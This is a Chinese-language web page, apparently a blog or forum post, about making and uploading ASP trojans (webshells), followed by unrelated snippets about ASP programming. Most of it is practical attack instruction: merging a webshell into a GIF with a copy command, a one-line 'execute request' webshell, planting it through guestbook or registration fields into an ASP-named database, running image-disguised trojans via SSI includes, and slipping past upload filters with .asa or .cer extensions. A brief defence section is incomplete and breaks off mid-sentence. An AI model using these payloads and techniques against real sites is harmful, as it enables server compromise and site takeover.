关于 asp 木马
一、木马生成
asp木马代码加密，图片合并，文件时间修改，还有要命的系统漏洞利用
图片和木马合并命令：
copy 1.gif /b + asp.asp /a asp.gif
二、木马上传
如果后台没有类似数据库备份功能，可以生成新文件，或者直接修改文件。那么很难直接让木马运行，不过还是有一些方法，可以考虑。
1、如果后台数据库是以asp格式存储的。那么可以采用在数据库中插入一句话木马(<%execute request("1")%>)，然后利用一句话木马上传一个完整木马。
2、如果网站后台允许修改网站联系信息等页面，而且页面也是也是以asp存储，那么可以利用asp的包含文件，巧妙的令jpg、bmp等格式木马得以运行。比如在其中插入
<!-- #include file=/upload/****.jpg -->
3、还可以看看网站上传类型是否有严格的过滤，如果仅仅是限制了asp文件，那么可以尝试上传asa、cer等等。
作为技术性问题，可以这样实现。
一般情况下，在留言板、个人注册等地方，需要个人信息。
而且在进行个人信息中的个人主页、邮件地址等信息，不会有太严格的过滤。这就为插入一句话木马提供了可能性。
举例说明：我给一个网站留言，我在填写我的“个人主页”或者“email”时，不输入真实信息。而输入一句话木马。这样，只要知道了asp数据库地址，那么提交一句话木马后，直接访问asp数据库就可运行木马了。
所以，很多人把acess数据库改名为asp以防止下载，岂不知危害照样存在，只不过换了一种方式而已。
三、如何防护
1、是的，对方猜出正确的数据库路径的几率和同一地点被雷集中两次几率几乎相同。但是需要注意的是在写连接数据库文件时，注意防止暴库
2、是的，而且如果你的数据库不是以asp存放，那么就无所谓了。
3、这个问题有点大。估计网上的讨论也没有停止过，个人认为也没有标准答案。不过，我认为安全是一个整体，必须从多个方面考虑，以分层次防御的方法无疑是一个好办法。
我自己通常是从两个层次进行防护，其一就是数据库改名（包括文件名和后缀名）最好改为你自己
相关文档：
编写过程
过程是一组能执行指定任务且具有返回值的脚本命令。您可以定义自己的过程，然后在脚本中反复调用它们。
您可以将过程定义放在调用过程的 .asp 文件中，也可以将通用过程放在一个共享的 .asp 文件中，然后用 SSI #include 指令将其包含进其他调用其过程的 .asp 文件中。您还可选择另一种方法，即把这些功能打包 ......
照例使用xmlhttp同步方式获取数据,可是由于网络不稳定,经常造成'死锁'状况,既send之后一直不返回服务器结果,也不出错.
被这个问题折磨了好久,最后才查到还有ServerxmlHTTP这个对象,看了介绍才知道它才是天生为了服务器端获取其他网站信息设计的.利用他的超时机制，问题轻松解决:D
参考：
http://support.microsoft.co ......
网上流传的种种asp上传类真是太烦琐了，我自己写了一个上传类。这个上传类体积很小，只适用于单文件上传，返回结果是一个json，格式为：{"err":"出错原因","msg":"上传文件的地址"}，例如：{"err":"\u6587\u4EF6\u592A\u5927\u4E86\2C\u4E0A\u4F20\u6587\u4EF6 ......
什么是UrlRewrite?
UrlRewrite 是 将静态页面转换为动态页面的一种技术. 例如.您网站页面是 http://www.yourdomain.com/news/docread.aspx?id=123 使用UrlRewrite转换后 可以 以 http://www.yourdomain.com/news/123.html 来访问.
UrlRewrite的用处: 满足搜索引擎的要求,Google可以抓取动态页面，但是google对动态页面 ......
一，动态网页与静态网页
1，网页
网页是符合HTML规范，能通过浏览器看到的文件。
2，静态网页
采用HTML标记语言编写的网页，后缀一般为 html 或 htm，如 index.html。
3，动态网页
采用ASP，JSP，PHP，CGI 等程序动态生成的页面，只有在接到用户访问要求后才生成页面并传输至用户浏览器。文件名后缀为 .asp ，.shtm � ......
